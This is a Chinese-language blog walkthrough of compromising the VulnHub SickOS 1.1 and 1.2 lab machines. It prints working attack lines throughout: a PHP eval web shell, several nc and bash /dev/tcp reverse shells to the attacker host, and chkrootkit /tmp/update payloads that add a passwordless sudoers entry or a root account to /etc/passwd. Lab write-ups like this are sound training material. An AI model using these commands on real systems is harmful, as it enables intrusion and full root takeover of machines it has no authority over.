vulnhub提权靶机SickOS系列

SickOS系列

SickOS1.1

靶机下载链接见:

https://download.vulnhub.com/sickos/sick0s1.1.7z

靶机渗透,主机发现

arp-scan -l

image-20250121142916961

端口扫描,80端口是没有开启的,3128端口有一个http服务

image-20250121153617732

访问查看,这个服务呢是一个http代理,版本是3.1.19,8080端口也是一个http代理,但是已经关闭了

image-20250121153522411

既然是代理服务,那么我们进行目录扫描的时候,需要添加上这个代理ip+端口,不然扫不到80端口(80端口没有开启的)

image-20250121165446320

我们使用靶机的代理,这样就能扫描出来了,但是没有扫到后台管理的地址呢

image-20250121165819982

并没有该系统的后台管理地址

image-20250121174716034

浏览器添加代理

image-20250121170025063

访问成功,可以进一步信息收集了

image-20250121170241604

robots文件

image-20250121170255160

这个文件不知道是什么,先放着

image-20250121170344575

这就是wolfcms内容了

image-20250121170318879

漏洞检索

image-20250121174318460

一个一个看,直到第三个漏洞描述

image-20250121174624938

访问,原来是多了一个问号啊

image-20250121174734182

弱口令admin/admin(也可以进行爆破,毕竟没有验证码)

image-20250121174902721

上传一句话木马

image-20250121181027239

添加代理

image-20250121181240800

保存后即可连接成功

image-20250121181323510

反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.209.130 6666 >/tmp/f

创建交互式终端

python -c 'import pty; pty.spawn("/bin/bash")'

得到mysql数据库账号密码

root / john@123

image-20250121181814708

登录进去,用户表只有一个用户admin

image-20250121182251138

继续信息收集,回家,历史命令,SUID文件

image-20250121182426084

计划任务

ls -al /etc/cron*

image-20250121182759838

这些工具基本上都没啥用,这里需要用上之前的数据库密码,来登录这个home下面的用户sickos

image-20250121183201662

有了密码那么就直接sudo,可以看到是所有的东西都可以执行sudo,那么就简单了

image-20250121183253525

直接 sudo -s 保存用户变量,切换超级用户root,也可使用sudo -i使用root的环境变量

image-20250121183349861

SickOS1.2

靶机下载链接见:

https://www.vulnhub.com/entry/sickos-12,144/

image-20250119150500029

端口扫描,目标服务器开启了22端口和80端口

image-20250119150733804

访问80端口

image-20250119151048612

第一时间查看源码,在最下面

<!-- NOTHING IN HERE ///\ -->

image-20250119151138783

目录扫描

image-20250119151240186

有一个指纹信息

image-20250119151350131

漏洞检索,并没有相关版本的漏洞

image-20250119151453070

将网页上的图片下载下来使用strings进行分析

image-20250119151913473

网上搜到一种方法

nmap --script http-methods --script-args http-methods.url-path='/test' 192.168.209.133

该命令使用Nmap的http-methods脚本检测IP为192.168.209.133的主机上Web服务的/test路径支持的HTTP方法。

image-20250119152715071

利用这个PUT方法,可以上传文件至目标服务器,HTTP的请求方式常见的就是GET、POST、DELETE、PUT

其中PUT方法,向服务器上传一个资源,用于创建或完全替换目标资源的内容。如果资源不存在,则创建该资源;如果资源已存在,则进行更新。

DELETE:请求服务器删除由URL所标识的资源。

image-20250119153949832

那么我们尝试上传一个php文件,响应结果为创建成功

<?php @eval($_POST[hack]);?>

image-20250119162243945

这时候回到页面,就会发现一个新的php文件

image-20250119163019446

蚁剑i连接

image-20250119163618402

这里反弹shell试了好多种方式,都不行,看样子是对端口进行了限制,先信息收集吧,用户信息

image-20250120160737933

image-20250120162757428

系统信息收集

uname -a
lsb_release -a

image-20250120162435228

查找某一个用户的文件

find / -user john -type f 2>/dev/null

image-20250120162528248

这里需要一个脚本,检查端口得开启情况(不是已使用的服务),默认使用iptables,但是没有权限

image-20250120214517525

这里需要用上一个脚本来检查端口的开放情况,脚本内容如下

# !/bin/bash
for i in $(seq 1 65535)
do
    timeout 1 nc -vz 192.168.209.130 $i && echo "$i open" >> out.txt || echo "$i closed" >> out.txt;
done
echo "all port done"

放到kali中,并开启http服务,并将所有端口的流量都转发到34444端口

python -m http.server 5000

//备份iptables规则
iptables-save > /tmp/firewall.rules
//将所有端口的流量都转发到34444端口
iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 34444
//监听34444端口
nc -lvp 34444

尝试从kali上下载这个文件,下载失败

image-20250120172248994

切换tmp进行下载还是失败

image-20250120182502495

那么就麻烦一点,传到本机上,再传到靶机

image-20250120182742532

这样就能上传成功了

image-20250120183112857

执行脚本

image-20250120212631946

会生成一个txt文件

image-20250120221606777

这里需要多执行几次,否则都是关闭的状态,检测不到结果

image-20250120235654877

kali回显了,说明443端口是放行的

image-20250120235744147

用bash反弹shell(如果反弹不成功,需要清除 iptables 的所有规则)

bash -c 'bash -i >& /dev/tcp/192.168.209.130/443 0>&1'

image-20250121003715689

创建一个交互式终端

python -c 'import pty; pty.spawn("/bin/bash")'

信息收集,我是谁?我在哪?你是谁?

image-20250121004207763

漏洞检索,没有任何的漏洞信息,3.11.0不在这里面的库中

image-20250121004605586

查看有没有gcc编译命令

image-20250121004958521

这里利用cve-2021-4034提权poc打,注意kali开启的端口要是443

image-20250121004931258

提权失败,找其他信息(前面我们已经搜索了一些信息了,这里直接打)

image-20250121005123010

这里是要用到一个命令

ls -al /etc/cron*

这个命令就是说查看所有和计划任务有关的所有内容,发现了一个计划任务,chkrootkit命令

image-20250121014505274

其中

/etc/crontab:这是系统的crontab文件,用于定义系统级别的定时任务。

/etc/cron.d:该目录用于存放系统级别的定时任务配置文件。

/etc/cron.daily :这些脚本用于执行每天需要进行的系统维护任务,如更新软件包列表、清理日志文件、更新数据库等。

/etc/cron.hourly :这些脚本用于执行每小时需要进行的系统维护任务,如清理临时文件、更新缓存等。

/etc/cron.monthly : 这些脚本用于执行每月需要进行的系统维护任务,如备份、报告生成等。

/etc/cron.weekly :包含多个脚本文件,这些脚本每周执行一次。

image-20250121014605222

找到漏洞

image-20250121014626233

image-20250121014748345

We just found a serious vulnerability in the chkrootkit package, which
may allow local attackers to gain root access to a box in certain
configurations (/tmp not mounted noexec).

# 我们刚刚在chkrootkit包中发现了一个严重的漏洞,它可能允许本地攻击者在某些配置(/tmp而不是挂载noexec)下获得root访问权限。

查看利用步骤

image-20250121015022165

大致意思就是说让我们在tmp目录下面创建一个文件叫做 update ,这个update文件呢包含了一些恶意脚本,当我们运行chkrootkit这个工具的时候,这些恶意脚本也会跟着执行,并且是以root身份执行的(它是计划任务,会定时执行)

这里可以利用sudo提权,,将当前用户赋予sudo权限

echo 'echo "www-data  ALL=(ALL)  NOPASSWD:ALL" >> /etc/sudoers' >/tmp/update
chmod +x /tmp/update

image-20250121020028670

也可以向 /etc/passwd 追加一个用户,密码为 password@123 (使用openssl将这个密码加盐,不加也可以,得到结果advwtv/9yU5yQ,所以完整的命令如下)

echo 'echo "xiaoyu:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >>/etc/passwd' >/tmp/update

image-20250121021455119

再者利用nc反弹shell(有思路就可以,这里没有成功)

echo '/bin/bash -i >& /dev/tcp/192.168.209.130/443 0>&1' > /tmp/update

如果有错误还请师傅们指正

往期推荐

111

本站内容部分转载于互联网,并不代表本站立场!如若本站内容侵犯了原著者的合法权益,可联系我们进行处理! 拒绝任何人以任何形式在本站发表与中华人民共和国法律相抵触的言论!
THE END
喜欢就支持一下吧
点赞18 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容